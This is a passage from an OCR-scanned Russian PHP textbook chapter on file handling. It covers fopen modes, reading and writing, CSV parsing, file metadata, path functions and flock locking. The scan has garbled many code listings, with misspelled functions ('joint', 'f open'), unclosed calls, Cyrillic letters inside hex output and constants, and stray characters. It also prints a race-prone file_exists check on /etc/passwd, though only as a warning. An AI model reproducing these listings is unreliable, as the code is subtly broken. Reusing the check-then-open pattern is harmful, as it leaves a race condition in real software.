написания этих строк), однако, как показывают мои тесты, он работает на всех
системах.

Чтобы проиллюстрировать это, давайте рассмотрим пример сценария. Он
будет работать по-разному в зависимости от того, в каком режиме мы от-
кроем файл: в бинарном или текстовом. Забегая вперед, замечу, что функ-
ция fgets о читает из файла очередную строку.

: Листинг 15.1. Сценарий test.php: работа с текстовыми файлами

// Получает в параметрах строку и возвращает через пробел коды

// символов , из которых она состоит

function MakeHex($st )

{ for($i=0; $i<strlen($st) ; $i++) $Hex[]=sprintf ("%2X", ord($st

return joint " ",$Hex);

}

// Открываем файл разными способами

$f=fopen ("test.php", "r") ; // бинарный режим

echo MakeHex (fgets ($f, 100) ) , "<br>\n";

$f=f open ("test.php", "rt") ; // текстовый режим

echo MakeHex (fgets ($f,100) ) , "<br>\n";

Первая строчка файла test.php состоит всего из двух символов — это < и ?.
За ними должен следовать маркер конца строки. Сценарий показывает, как
выглядит этот маркер, т. е. состоит ли он из одного или двух символов.
Запустим этот сценарий в Unix. Мы получим две одинаковые строки, кото-
рые выводят операторы echo:

ЗС 3F ОА

ЗС 3F ОА

----------------------- Page 263-----------------------
248 Часть IV. Стандартные функции РНР

Отсюда следует, что в этой системе физический конец строки обозначается
одним символом — кодом ОхОА , или \п (коды ОхЗ С и Ox3 F соответствуют
символам < и ?). В то же время, если запустить сценарий в Windows , мы по-
лучим такой результат:

ЗС 3F OD ОА

ЗС 3F ОА

Как видите, бинарное и текстовое чтение дали разные результаты! В по-
следнем случае произошла трансляция маркера конца строки.

Как уже говорилось, можно предварять имя файла строкой h t t p : / / или
f t p : / / , при этом прозрачно будет осуществляться доступ к файлу с удален-
ного хоста.

В случае HTTP-доступа РНР открывает соединение с указанным сервером, а
также посылает ему нужные заголовки: Host и GET . После чего при помощи
файлового дескриптора из удаленного файла можно читать обычным обра-
зом — например, посредством все той же функции f gets ( ) .

Если же вы открываете FTP-файл, то в него можно производить либо за-
пись, либо читать из него, но не и то и другое одновременно. Кроме того,
FTP-сервер должен поддерживать пассивный режим передачи (впрочем,
большинство серверов его поддерживают). Не забудьте также указать логин
и пароль, как это сделано в примерах ниже.

Дам небольшой совет: не используйте обратные слэши \ в именах файлов,
как это принято в DOS и Windows . Просто забудьте про этот архаизм. По-
может вам в этом РНР, который незаметно в нужный момент переводит
прямые слэши / в обратные (разумеется, если вы работаете под Windows) .
Если же вы все-таки не можете обойтись без обратного слэша, не забудьте
его удвоить, потому что в строках он воспринимается как спецсимвол:

$fp = fopen ("с:\\windows\\hosts" , "г"} ;

Еще раз предупреждаю: этот способ не переносим между операционными
системами и из рук вон плох. Не используйте его!

Вот несколько примеров:

// Открывает файл на чтение

$f = fopen("/home/user/file.txt" , "r") or die("Ошибка!") ;

// Открывает HTTP-соединение на чтение

$f = fopen("http://www.php.net/" , "r") or die("Ошибка!") ;

// Открывает FTP-соединение с указанием логина и пароля для записи

$f = fopen("ftp://user:password@example.com/" , "w") or die("Ошибка!");

----------------------- Page 264-----------------------
Глава 15. Работа с файлами 249

Конструкция ordie()

Давайте еще раз посмотрим на предыдущие примеры. Обратите внимание
на доселе не встречавшуюся нам конструкцию or die о'. Ее особенно удоб-
но применять как раз при работе с файлами. Как мы знаем, оператор or
имеет очень низкий приоритет (даже ниже, чем у =), поэтому в нашем при -
мере всегда выполняется уже после присваивания . Иными словами, первая
строчка примера с точки зрения РНР выглядит так:

($f=fopen("/home/user/file.txt", "r")) or die("Ошибка!");

Конечно, то, что or обозначает "логическое ИЛИ" в нашем случае не так
интересно (ибо возвращаемое значение просто игнорируется). Нас же сей-
час интересует другое свойство оператора: выполнять второй свой операнд
только в случае ложности первого. Смотрите: если файл открыть не удалось,
fopen о возвращает false , а значит, осуществляется вызов die о "на другом
конце" оператора or .

Заметьте, что нельзя просто так заменить or на, казалось бы равнозначный
ему оператор | | , потому что последний имеет гораздо более высокий при-
оритет — выше, чем у =. Таким образом, в результате вызова функции

$f=fopen("/home/user/file.txt", "r") | | die("Ошибка!") ;

в действительности будет выполнено

$ f = (fopen("/home/user/file.txt" , "r" ) I I d i e ( " О ш и б к а ! " ) ) ;

Как видите, это не совсем то, что нам нужно.

Безымянные временные файлы

Иногда всем нам приходится работать с временными файлами , которые при
завершении программы хотелось бы удалить. При этом нас интересует лишь
файловый дескриптор, а не имя временного файла. Для создания таких объ-
ектов в РНР предусмотрена специальная функция.

int tmpfile( )

Создает новый файл с уникальным именем (чтобы другой процесс случайно
не посчитал этот файл "своим") и открывает его на чтение и запись. В даль-
нейшем вся работа должна вестись с возвращенным файловым дескрипто-
ром, потому что имя файла недоступно.

Замечание

Фраза "имя файла недоступно" может породить некоторые сомнения, но это
действительно так по одной-единственной причине: его просто нет. Вот как та-
кое может произойти? В большинстве систем после открытия файла его имя
можно спокойно удалить из дерева файловой системы, продолжая при этом
работать с "безымянным" файлом через дескриптор, как обычно. При закрытии

----------------------- Page 265-----------------------
250 Часть IV. Стандартные функции РНР

этого дескриптора блоки, которые занимает файл на диске, будут автоматиче-
ски помечены как свободные.

Пространство, занимаемое временным файлом , автоматически освобождает-
ся при его закрытии и при завершении работы программы.

Закрытие файла

После работы файл лучше всего закрыть . На самом деле это делается и ав-
томатически при завершении сценария , но лучше все же не искушать судьбу
и законы Мэрфи. Особенно, если вы одновременно открыли десятки (или
сотни) файлов.

int fclose(int $fp)

Закрывает файл, открытый предварительно функцией f open ( ) (или рореп ( )
или f s o c k o p e n o , но об этом позже). Возвращает false , если файл закрыть
не удалось (например, что-то с ним случилось или же разорвалась связь с
удаленным хостом). В противном случае возвращает значение "истина".

Заметьте, что вы должны всегда закрывать FTP- и HTTP-соединения, потому
что в противном случае "беспризорный" файл приведет к неоправданному про-
стою канала и излишней загрузке сервера. Кроме того, успешно закрыв соеди-
нение, вы будете уверены в том, что все данные были доставлены без ошибок.

Замечание j

Особенно своевременное закрытие критично при использовании FTP-файла в
режиме записи, когда вывод программы для ускорения буферизуется. Не за-
крыв файл, вы вообще не сможете быть уверены, что буфер вывода очистился,
а значит, файл записался на удаленную машину верно.

Чтение и запись

Для каждого открытого файла (точнее, для каждого файлового дескриптора,
ведь один и тот же файл может быть открыт несколько раз, т. е. с ним мо-
жет быть связано сразу несколько дескрипторов) система хранит определен-
ную величину, которая называется текущей позицией ввода-вывода, или
указатель файла. Функции чтения и записи файлов работают именно с этой
позицией. А именно, функции чтения читают блок данных, начиная с этой
позиции, а функции записи — записывают , также отсчитывая от нее. Если
указатель файла установлен за последним байтом и осуществляется запись,
то файл автоматически увеличивается в размере. Есть также функции для
установки этой самой позиции в любое место файла.

После того как файл успешно открыт, из него (при помощи дескриптора
файла) можно читать, а также, при соответствующем режиме открытия, пи-

----------------------- Page 266-----------------------
Глава 15. Работа с файлами 25?

сать. Обмен данными осуществляется через обыкновенные строки и, что
важнее всего, начиная с позиции указателя файла. В следующих разделах
рассматриваются несколько функций для чтения/записи .

Блочные чтение/запись

string fread(int $f, int $numbytes )

Читает из файла $f $numbytes символов и возвращает строку этих символов.
После чтения указатель файла продвигается к следующим после прочитан-
ного блока позициям (это происходит и для всех остальных функций , так
что дальше я буду пропускать такие подробности). Разумеется, если
$numbytes больше, чем можно прочитать из файла (например , раньше дос-
тигается конец файла), возвращается то, что удалось считать. Этот прием
можно использовать, если вам нужно считать в строку файл целиком. Для
этого просто задайте в $numbytes очень большое число (например, сто ты-
сяч). Но если вы заботитесь об экономии памяти в системе, так поступать
не рекомендуется. Дело в том, что в некоторых версиях РНР передача боль-
шой длины строки во втором параметре frea d ( ) вызывает первоначальное
выделение этой памяти в соответствии с запросом (даже если строка гораздо
короче). Конечно, потом лишняя память освобождается, но все же ее может
и не хватить для начального выделения.

int fwrite(int $f, string $st)

Записывает в файл $f все содержимое строки $st . Эта функция составляет
пару для f read о , действуя "в обратном направлении" .

Примечание

Например, с помощью описанных двух функций можно копировать файлы
(правда, в РНР есть для этого отдельная функция — сору ()) , считав файл цели-
ком посредством f read ( ) и затем записав в новое места при помощи f write ( ) .

При работе с текстовыми файлами (то есть когда указан символ t в режиме
открытия файла) все \п автоматически преобразуются в тот разделитель
строк, который принят в вашей операционной системе.

Построчные чтение/запись

string fgets(int $f , int $ length )

Читает из файла одну строку, заканчивающуюся символом новой строки \п .
Этот символ также считывается и включается в результат. Если строка в
файле занимает больше $iength-i байтов, то возвращаются только ее
$ length- 1 символов. Функция полезна , если вы открыли файл и хотите
"пройтись" по всем его строкам. Однако даже в этом случае лучше (и быст-

----------------------- Page 267-----------------------
252 Часть IV. Стандартные функции РНР

рее) будет воспользоваться функцией File о, которая рассматривается ни-
же. Стоит также заметить, что f gets о (ровно как и функция t read о) в
случае текстового режима в Windows заботится о преобразовании пар \ г \ п в
один символ \п , так что будьте внимательны при работе с текстовыми фай-
лами в этой операционной системе.

int fputs (int $f , string $st)

Эта функция — полный аналог fwrit e ( ) . В официальной документации по
РНР описания обеих функций просто совпадают, но там ничего не сказано
про то, что функции являются синонимами. Что ж... Несмотря на это, я все-
таки рискну выдвинуть такое предположение.

Чтение CSV-файла

Программа Excel из Microsoft Office стала настолько популярна, что в РНР
даже встроили функцию для работы с одним из форматов файлов, в кото-
рых может сохранять данные Excel. Часто она бывает довольно удобна и
экономит пару строк дополнительного кода.

list fgetcsv(int $f , int $length, char $delim=',')

Функция читает одну строку из файла, заданного дескриптором $f , и разби-
вает ее по символу $deiim. Параметр $deiim должен обязательно быть стро-
кой из одного символа, в противном случае принимается во внимание толь-
ко первый символ этой строки. Функция возвращает получившийся список
или false , если строки кончились. Параметр $iength задает максимальную
длину строки точно так же, как это делается в f gets ( ) . Пустые строки в
файле не игнорируются, а возвращаются как список из одного элемента -
пустой строки.

Функция f getcsv ( ) работает чуть быстрее пары f gets ( } /explode () , но зато
она, как мы можем видеть, гораздо менее универсальна. Применяйте ее в
таком контексте:

$f=fopen("file.csv","r") or die("Ошибка!");

for($i=0; $data=fgetcsv($f , 1000 , ";"); $i++) {

$num = count($data) ;

if($num==l && $data[0]==="") continue ;

echo "<ЬЗ>Строка номер $i ($num полей):</h3>" ;

for($c=0; $c<$num ; $c++)

print "[$c]: $data[$c]<br>";

}

fclose($f);

----------------------- Page 268-----------------------
Глава 15. Работа с файлами 253

Положение указателя текущей позиции

int feof(int $f )

Возвращает true , если достигнут конец файла (то есть если указатель файла
установлен за концом файла). Эта функция чаше всего используется в сле-
дующем контексте:

$f=f open ("myfile.txt", "г") ;

while ( Ifeof ($f) )

{ $st=fgets ($f ) ;

// теперь мы обрабатываем очередную строку $st

f close ($f ) ;

Лучше избегать подобных конструкций, т. к. в случае больших файлов они
довольно медлительны. Лучше читайте файл целиком при помощи File о
(см. ниже) или f read ( ) — конечно, если вам нужен доступ к каждой строке
этого файла, а не только к нескольким первым!

int fseek(int $f , in $offset , int $whence=SEEK_SET )

Устанавливает указатель файла на байт со смешением $offse t (от начала
файла, от его конца или от текущей позиции , в зависимости от параметра
$whence). Это, впрочем , может и не сработать, если дескриптор $f ассоции-
рован не с обычным локальным файлом, а с соединением HTTP или FTP.

Параметр $whence , как уже упоминалось , задает, с какого места отсчитыва-
ется смешение $offset . В РНР для этого существуют три константы, рав-
ные, соответственно, О, 1 и 2:

П SEEK_SET — устанавливает позицию начиная с начала файла;

П SEEK__CUR — отсчитывает позицию относительно текущей позиции ;

П SEEK_END — отсчитывает позицию относительно конца файла.

В случае использования последних двух констант параметр $of fset вполне
может быть отрицательным (а при применении SEEK__END он будет отрица-
тельным наверняка).
Как это ни странно, но в случае успешного завершения эта функция воз-
вращает 0, а в случае неудачи -1. Почему так сделано — неясно. Наверное,
по аналогии с ее Си-эквивалентом?

int ftelKint $f )

Возвращает положение указателя файла. Собственно, вот и все, что делает
эта функция .

----------------------- Page 269-----------------------
254 Часть IV. Стандартные функции РНР

Функции для определения
типов файлов

Помимо уже рассмотренных, РНР имеет также набор вспомогательных (и весь-
ма удобных) функций для работы с файлами. Они отличаются тем, что работают
не с файловыми идентификаторами, а непосредственно с их именами.

Определение типа файла

bool file_exists(string $filename)

Возвращает true , если файл с именем $ filename существует на момент вы-
зова. Используйте эту функцию с осторожностью! Например, следующий
код никуда не годится с точки зрения безопасности:

$fname="/etc/passwd" ;

if(!file_exists($fname)

$f=fopen($fname,"w");

else

$f=fopen($fname,"r");

Дело в том, что между вызовом fiie_exist s о и открытием файла в режиме
w проходит некоторое время, в течение которого другой процесс может
"вклиниться" и "подменить" используемый нами файл. Сейчас это все ка-
жется маловероятным , но данная проблема выходит на передний план при
написании сценария счетчика. Мы еще остановимся на ней чуть позже.

string filetype(string $fiiename )

Возвращает строку, которая описывает тип файла с именем $ filename . Если
такого файла не существует, возвращает false . После вызова строка будет
содержать одно из следующих значений :
П fil e — обычный файл;
О dir — каталог;
О link — символическая ссылка;

П f i f o — fifo-канал ;

О block — блочно-ориентированное устройство;

О char — символьно-ориентированное устройство;
П unknown — неизвестный тип файла.

Рассматриваемые ниже несколько функций представляют собой лишь над-
стройку для функции filetype о . В большинстве случаев они очень полез-
ны, и пользоваться ими удобнее, чем последней.

----------------------- Page 270-----------------------
Глава 15. Работа с файлами 255

bool is_file(string $filename)

Возвращает true , если $fiienam e — обычный файл.

bool is_dir(string $filename)

Возвращает true , если $fiienam e — каталог.
bool is_link(string $filename)

Возвращает true , если $filenam e — символическая ссылка.

Определение возможности доступа

8 РНР есть еще несколько функций , начинающихся с префикса is_. Они
довольно интеллектуальны, поэтому рекомендуется использовать их перед
"опасными" открытиями файлов .

bool is readable(string $filenarae )

Возвращает true , если файл может быть открыт для чтения .

bool is_writeable(string $filename )

Возвращает true , если в файл можно писать.

bool is executable(string Sfilename )

Возвращает true , если файл — исполняемый .

Определение параметров файла

array stat(string $filename )

Функция собирает вместе всю информацию, выдаваемую операционной
системой для указанного файла, и возвращает ее в виде массива . Этот мас-
сив всегда содержит следующие элементы с указанными ключами :

0 — устройство;
1 — номер узла inode;

2 — атрибуты защиты файла;

3 — число синонимов ("жестких" ссылок) файла;

4 — идентификатор uid владельца;
; — идентификатор gid группы ;

6 — тип устройства;
7 — размер файла в байтах;
е — время последнего доступа в секундах, прошедших с 1 января 1970 года;

9 — время последней модификации содержимого файла;

ю — время последнего изменения атрибутов файла ;

----------------------- Page 271-----------------------
256 Часть IV. Стандартные функции РНР

11 — размер блока;
12 — число занятых блоков.
Как мы видим, в этот массив помещается информация, которая доступна в
системах Unix. Под Windows многие поля могут быть пусты (например, в
ней у файлов нет владельца, а значит, нет и идентификатора владельца фай-
ла и группы). Обычно они бывают совершенно бесполезны при написании
сценариев.
Если $ filename задает не имя файла, а имя символической ссылки, то все-
таки будет возвращена информация о том файле, на который ссылается эта
ссылка (а не о ссылке). Для получения информации о ссылке можно восполь-
зоваться вызовом istat ( ) , имеющим точно такой же синтаксис, что и stat ( ) .

Специализированные функции

Для того чтобы каждый раз не возиться с вызовом stat ( ) и разбором вы-
данного массива, разработчики РНР предусмотрели несколько простых
функций, которые сразу возвращают какой-то один параметр файла. Кроме
того, если объекта (обычно файла), для которого вызвана какая-либо из ни-
же перечисленных функций, не существует, эта функция возвратит false .

int fileatime(string $filename)

Возвращает время последнего доступа (access) к файлу (например, на чте-
ние). Время выражается в количестве секунд, прошедших с 1 января 1970 го-
да. Если файл не обнаружен, возвращает false .

int filemtime(string $filename)

Возвращает время последнего изменения содержимого файла или false в
случае отсутствия файла.

int filectime(string $filename)

Возвращает время последнего изменения атрибутов файла.

int filesize(string $filename)

Возвращает размер файла в байтах или false , если файла не существует.

int touch(string $filename [ , int $timestamp])

Устанавливает время модификации указанного файла $fiiename равным
$timestamp (в секундах, прошедших с 1 января 1970 года). Если второй па-
раметр не указан, то подразумевается текущее время. В случае ошибки воз-
вращается false .

Внимание

Если файла с указанным именем не существует, он создается пустым.

----------------------- Page 272-----------------------
Глава 15. Работа с файлами 257

Функции для работы
с именами файлов

Нам довольно часто приходится манипулировать с именами файлов. Напри-
мер, "прицепить" к имени слева путь к какому-то каталогу или, наоборот, из
полной спецификации файла выделить его непосредственное имя. В связи с
этим в РНР введены несколько функций для работы с именами файлов.
string basename (string $path)

Выделяет основное имя файла из пути $path. Вот несколько примеров:
echo basename("/home/somebody/somefile.txt") ; // выводит "somefile.txt "
echo basename("/") ; // ничего не выводит

echo basename("/.") ; // выводит "."

echo basename("/./") ; // также выводит "."

Обратите внимание на то, что функция basename о (да и все последующие)
не проверяет существование файла. Она просто берет часть строки после
самого правого слэша и возвращает ее. С облегчением можно также сказать,
что функция basename о правильно обрабатывает как прямые, так и обрат-
ные слэши под Windows.

string dirname(string $path)

Возвращает имя каталога, выделенное из пути $path . Функция довольно
"разумна" и умеет обрабатывать нетривиальные ситуации, как это явствует
из примеров:

echo dirname("/home/file.txt") ; // выводит "/home"

echo dirname("../file.txt"); // выводит ".."

echo dirname("/file.txt") ; // выводит "/" под Unix , "\" под Windows

echo dirname("/") ; // то же самое

echo dirname("file.txt"); // выводит "."

Заметьте, что если функции dirname о передать "чистое" имя файла, она
вернет "." , что означает "текущий каталог".

Внимание

В предыдущих версиях РНР (например, в версии 3) функция была гораздо ме-
нее "интеллектуальна". Например, для "чистого" имени файла она возвращала
его самого, а не точку.

string tempnam(string $dir , string $prefix)

Генерирует имя файла в каталоге $dir с префиксом $pref ix в имени , при-
чем так, чтобы созданный под этим именем в будущем файл был уникален .
Для этого к строке $prefix присоединяется некое случайное число. Напри-

----------------------- Page 273-----------------------
258 Часть IV. Стандартные функции РНР

мер, вызов tempnamcvtmp" , "temp" ) может возвратить что-то типа
/tmp/temp3a6b243c . Если такое имя нужно создать в текущем каталоге, пе-
редайте, как обычно, $dir="." .
Обратите внимание, что использовать tempnamo в следующем контексте
опасно:

$fname=tempnam () ;

$f=fopen($fname,"w");

// работаем с временным файлом

Дело в том, что хотя функция и возвращает уникальное имя, все-таки суще-
ствует вероятность того, что между tempnamo и fopen () сюда "вклинится"
какой-нибудь другой процесс, в котором функция tempnamo сгенерировала
идентичное имя файла. Такая вероятность исчезающе мала, но все-таки она
существует. Поэтому лучше воспользоваться функцией t m p f i l e o или
функциями блокировки .

string realpath(string $path )

Эта функция очень часто оказывается чрезвычайно полезной. На нее возло-
жена довольно непростая задача: преобразовать относительный путь в $path
в абсолютный, т. е. начинающийся от корня. Например:

echo realpath("../t.php"); // абсолютный путь — например , /home/test.php

echo realpath("."); // выводит имя текущего каталога

(" Замечание ^

К сожалению, последний оператор в некоторых версиях РНР выводит не тот же
самый результат, что и функция getcwd ( ) . А именно, к имени текущего катало-
га "прицепляются" слэши, а иногда даже и / . /. Так что, если без определения
текущего каталога вам не обойтись, используйте getcwd ( ) .

Файл, который указывается в параметре $path , должен существовать, иначе
функция возвращает false .

Замечание

Функция realpath ( } также "расширяет" имена всех символических ссылок,
которые могут встретиться в строке, задающей путь к файлу. Она всегда воз-
вращает абсолютное каноническое имя, состоящее только из имен файлов т-
но не имен ссылок.

Функции манипулирования
целыми файлами

На самом деле всех перечисленных выше функций достаточно для реализа-
ции обмена с файлами любой сложности. Однако часто бывает нужно рабо-

----------------------- Page 274-----------------------
Глава 15. Работа с файлами 259

тать с файлами не построчно (или поблочно), а целиком. Функции , описан-
ные далее, как раз для этого и предназначены.

bool copy(string Ssrc , string $dst )

Копирует файл с именем $src в файл с именем $dst . При этом, если файл
$dst на момент вызова существовал, осуществляется его перезапись . Функ-
ция возвращает true , если копирование прошло успешно , а в случае прова-
ла — false .
bool rename(string Soldname, string $newname)

Переименовывает (или перемешает, что одно и то же) файл с именем
$oidname в файл с именем $newname . Если файл $newname уже существует,
регистрируется ошибка, и функция возвращает false . To же происходит и
при всех прочих неудачах. Если же все прошло успешно , возвращается true .

Внимание

Функция не выполняет переименование файла, если его новое имя расположе-
но в другой файловой системе (на другой смонтированной системе в Unix или
на другом диске в Windows). Так что никогда не используйте rename ( ) для по-
лучения загруженного по HTTP файла (о загрузке подробно рассказано в пятой
части книги)— ведь временный каталог /tmp вашего хостинг-провайдера ско-
рее всего располагается на отдельном разделе диска.

bool unlink(string $filename)

Удаляет файл с именем $filename . В случае неудачи возвращает false , ина-
че — true .

Замечание

На самом-то деле файл удаляется только в том случае, если число "жестких"
ссылок на него стало равным 0. Правда, эта схема специфична для Unix-систем.

list File (string $filename)

Считывает файл с именем $f ilename целиком и возвращает массив-список,
каждый элемент которого соответствует строке в прочитанном файле. Функ-
ция работает очень быстро — гораздо быстрее, чем если бы мы использовали
f open ( ) и читали файл по одной строке. Неудобство этой функции состоит в
том, что символы конца строки (обычно \п) , не вырезаются из строк файла, а
также не транслируются, как это делается для текстовых файлов.

array get_meta_tags (string $filename , int $use_include_path=false ) ;

Функция открывает файл и ищет в нем все тэги <meta> до тех пор, пока не
встретится закрывающий тэг </head> . Если очередной тэг <meta> имеет вид:

<meta пате="название" content=" содержимое ">

----------------------- Page 275-----------------------
260 Часть IV. Стандартные функции РНР

то пара название=>содержимое добавляется в результирующий массив, кото-
рый под конец и возвращается. Функцию удобно использовать для быстрого
получения всех метатегов из указанного файла (что работает гораздо быстрее,
чем соответствующее использование f open о и затем чтение и разбор файла
по строкам). Если необязательный параметр $use_inciude_path установлен,
то поиск файла осуществляется не только в текущем каталоге, но и во всех
тех, которые назначены для поиска инструкциями include и require .

Другие функции

bool ftruncate(int $f , int $newsize)

Эта функция усекает открытый файл $f до размера $newsize . Разумеется,
файл должен быть открыт в режиме, разрешающем запись. Например, сле-
дующий код просто очищает весь файл:
ftruncate ( $ f , 0 ) ; // очистить содержимое файла

void fflush(int $f )

Заставляет РНР немедленно записать на диск все изменения, которые про-
изводились до этого с открытым файлом $f . Что это за изменения? Дело в
том, что для повышения производительности все операции записи в файл
буферизируются: например, вызов fputs ($f , "Это строка!" ) не приводит к
непосредственной записи данных на диск — сначала они попадают во внут-
ренний буфер (обычно размером 8К). Как только буфер заполняется, его
содержимое отправляется на диск, а сам он очищается, и все повторяется
вновь. Особенный выифыш от буферизации чувствуется в сетевых операци-
ях, когда просто глупо отправлять данные маленькими порциями. Конечно,
функция f flus h о вызывается неявно и при закрытии файла.

int set_file_buffer(int $f , int $size)

Эта функция устанавливает размер буфера, о котором мы только что гово-
рили, для указанного открытого файла $f . Чаще всего она используется так:

set_file_buffer($f,0) ;

Приведенный код отключает буферизацию для указанного файла, так что
теперь все данные, записываемые в файл, немедленно отправляются на диск
или в сеть.

^ Примечание

Буферизированный ввод/вывод придуман не зря. Не отключайте его без край-
ней надобности — это может нанести серьезный ущерб производительности.
В крайнем случае используйте f flush () .

----------------------- Page 276-----------------------
Глава 15. Работа с файлами 261

Блокирование файла

При интенсивном обмене данными с файлами в мультизадачных операци-
онных системах встает вопрос синхронизации операций чтения/записи ме-
жду процессами. Например, пусть у нас есть несколько "процессов-
писателей" и один "процесс-читатель". Необходимо, чтобы в единицу вре-
мени к файлу имел доступ лишь один процесс-писатель, а остальные на
этот момент времени как бы "подвисали", ожидая своей очереди. Это нуж-
но, например, чтобы данные от нескольких процессов не перемешивались в
файле, а следовали блок за блоком. Как мы можем этого достигнуть?

Здесь на помощь приходит функция flock о , которая устанавливает так на-
зываемую "рекомендательную блокировку" для файла. Это означает, что
блокирование доступа осуществляется не на уровне ядра системы , а на
уровне программы. Поясню на примере.

Однажды я прочитал одно замечательное сравнение рекомендательной бло-
кировки с перекрестком, на котором установилось довольно оживленное
движение , регулируемое светофором. Когда горит красный, одни машины
стоят, а другие проезжают. В принципе, любая машина может, так сказать,
проехать наперекор правилам дорожного движения, не дожидаясь зеленого
сигнала, но в таком случае возможны аварии. Рекомендательная блокировка
работает точно таким же образом. А именно, процессы, которые ей пользу-
ются, будут работать с разделяемым файлом правильно, а остальные как-
нибудь да будут, пока не произойдет "столкновение".

С другой стороны, "жесткая блокировка" (которая в РНР не поддерживает-
ся) подобна шлагбауму: никто не сможет проехать, пока его не поднимут.
О жесткой блокировке мы в этой книге говорить не будем.

Единственная функция, которая занимается управлением блокировками в
РНР, называется flock о .

bool flock(int $f, int $operation [, int& $wouldblock))

Функция устанавливает для указанного открытого дескриптора файла $f
режим блокировки, который бы хотел получить текущий процесс. Этот ре-
жим задается аргументом Separation и может быть одной из следующих
констант:

О LOCK_SH (или i) — разделяемая блокировка;

П LOCK EX (или 2) — исключительная блокировка;

П LOCKJJN (или з) — снять блокировку;

П LOCK^NB (или 4) — эту константу нужно прибавить к одной из предыду-
щих, если вы не хотите, чтобы программа "подвисала" на f l o c k о в ожи-
дании своей очереди, а сразу возвращала управление.

----------------------- Page 277-----------------------
262 Часть IV. Стандартные функции РНР

В случае, если был затребован режим без ожидания, и блокировка не была
успешно установлена, в необязательный параметр-переменную $wouidbiock
будет записано значение истина true .

В случае ошибки функция, как всегда, возвращает false , а в случае успеш-
ного завершения — true .

Внимание

Хотя в документации РНР и сказано, что flock ( ) работает во всех операционных
системах (в том числе и под Windows), мои тесты показали, что как раз для Windows
это не так. А именно, в этой системе функция всегда возвращает индикатор прова-
ла, независимо от того, правильно она вызывается, или нет. Возможно, в будущих
версиях РНР это досадное недоразумение будет исправлено.

Типы блокировок

Вспоминаю, когда я впервые столкнулся с описанием возможностей рекомен-
дательных блокировок Си в одном из электронных справочников (кажется,
это был man операционной системы FreeBSD), я был неприятно удивлен, -
настолько все выглядело сложным и нелогичным. Слава Богу, на самом деле
ситуация далеко не так плачевна. Сейчас я постараюсь понятным языком
разъяснить все, что касается блокировок в языке РНР. Что же из себя пред-
ставляют понятия исключительная блокировка и разделяемая блокировка"?

Исключительная блокировка

Вернемся к нашему примеру с процессами-писателями. Каждый такой про-
цесс страстно желает, чтобы в некоторый момент (точнее, когда он уже почти
готов начать писать) он был единственным, кому разрешена запись в файл.

Он хочет стать исключительным.
Отсюда и название блокировки, которую процесс должен для себя устано-
вить. Вызвав функцию f lock ($f , LOCK_EX> , он может быть абсолютно уве-
рен, что все остальные процессы не начнут без разрешения писать в файл,
пока он не выполнит все свои действия и не вызовет f i o c k ( $ f , LOCKJJN)
или не закроет файл.

Откуда такая уверенность? Дело в том, что если в данный момент наш про-
цесс не единственный претендент на запись, операционная система просто
не выпустит его из "внутренностей" функции flock ( ) , т. е. не допустит его
продолжения, пока процесс-писатель не станет единственным. Момент,
когда процесс, использующий исключительную блокировку, становится ак-
тивным, знаменателен еще и тем, что все остальные процессы-писатели
ожидают (все в той же функции flock ( ) ) , когда же он, наконец, закончит
свою работу с файлом. Как только это произойдет, операционная система
выберет следующий исключительный процесс, и т. д.

----------------------- Page 278-----------------------
Глава 15. Работа с файлами 263

Что ж, давайте теперь рассмотрим, как в общем случае должен быть устроен
процесс-писатель, желающий установить для себя исключительную блоки-
ровку (листинг 15.2).

1 Листинг 15.2. Модель процесса с исключительной блокировкой

/ / инициализация

$f=fopen ($f , "a+") or die ("He могу открыть файл на запись!") ;

f lock ($f, LOCK EX ) ; // ждем , пока мы не станем единственными

/ /В этой точке мы можем быть уверены , что только эта

//' программа работает с файлом

f flush ($f) ;. // записываем все изменения на диск

flock (Sf, LOCK_UN ) ; // говорим , что мы больше не будем работать с файлом

f close ($f) ;

// Завершение

Заметьте, что при открытии файла мы использовали не деструктивный ре-
жим w (который удаляет файл, если он существовал), а более "мягкий" — а+ .
Это неспроста. Посудите сами: удаление файла идеологически есть измене-
ние его содержимого. Но мы не должны этого делать до получения исклю-
чительной блокировки (вспомните пример со светофором)! Поэтому, если
вам нужно обязательно каждый раз стирать содержимое файла, ни в коем
случае не используйте режим открытия w -- применяйте а+ и функцию
f truncate о , описанную выше. Например :

Sf=fopen ($f , "a+") or dieC'He могу открыть файл на запись!") ;

flock ($f,LOCK_EX) ; // ждем , пока мы не станем единственными

f truncate ($P, 0) ; // очищаем все содержимое файла

( _ Замечание _ J

Зачем мы используем fflusho перед тем, как разблокировать файл? Все
очень просто: отключение блокировки не ведет к сбросу внутреннего файлово-
го буфера, т. е. некоторые изменения могут быть "сброшены" в файл уже после

----------------------- Page 279-----------------------
264 Часть IV. Стандартные функции РНР

того, как блокировка будет снята. Мы, разумеется, этого не хотим, вот и застав-
ляем РНР принудительно записать все изменения на диск.

7
( Совет )

Устанавливайте исключительную блокировку, когда вы собираетесь изменять
файл. Всегда используйте при этом режим открытия г, г+ или а-к Никогда не
применяйте режим w. Снимайте блокировку так рано, как только сможете, и не
забывайте перед этим вызвать fflush ( ) .

Разделяемая блокировка

Мы решили ровно половину нашей задачи. Действительно, теперь данные
из нескольких процессов-писателей не будут перемешиваться, но как быть с
читателями? А вдруг процесс-читатель захочет прочитать как раз из того
места, куда пишет процесс-писатель? В этом случае он, очевидно , получит
"половинчатые" данные. То есть, данные неверные. Как же быть?

Существуют два метода обхода этой проблемы. Первый — это использовать
все ту же исключительную блокировку. Действительно, кто сказал, что ис-
ключительную блокировку можно применять только в процессах, изменяю-
щих файл? Ведь функция floc k о не знает, что будет выполнено с файлом,
для которого она вызвана. Однако этот метод довольно-таки неудачен, и вот
по какой причине. Представьте, что процессов-читателей много, а писате-
лей — мало, и к тому же писатели еще и вызываются, скажем, раз в пару ми-
нут, а не постоянно, как читатели. В случае использования исключительной
блокировки для процессов-читателей, довольно интенсивно обращающихся к
файлу, мы очень скоро получим целый их рой, висящий, недовольно гудя, в
очереди, пока очередному процессу разрешат читать. Но ведь никакой
"аварии" не случится, если один и тот же файл будут читать и сразу все про-
цессы этого роя, правда? Ведь чтение из файла его не изменяет. Итак, предос-
тавив исключительную блокировку для читателей, мы потенциально получаем
проблемы с производительностью, перерастающие в катастрофу, когда про-
цессов-читателей становится больше некоторого определенного порога.

Второй (и лучший) способ подразумевает использование разделяемой бло-
кировки. Процесс, который устанавливает этот вид блокировки, будет при-
остановлен только в одном случае: когда активен другой процесс, устано-
вивший исключительную блокировку. В нашем примере процессы-читатели
будут "поставлены в очередь" только тогда, когда активизируется процесс-
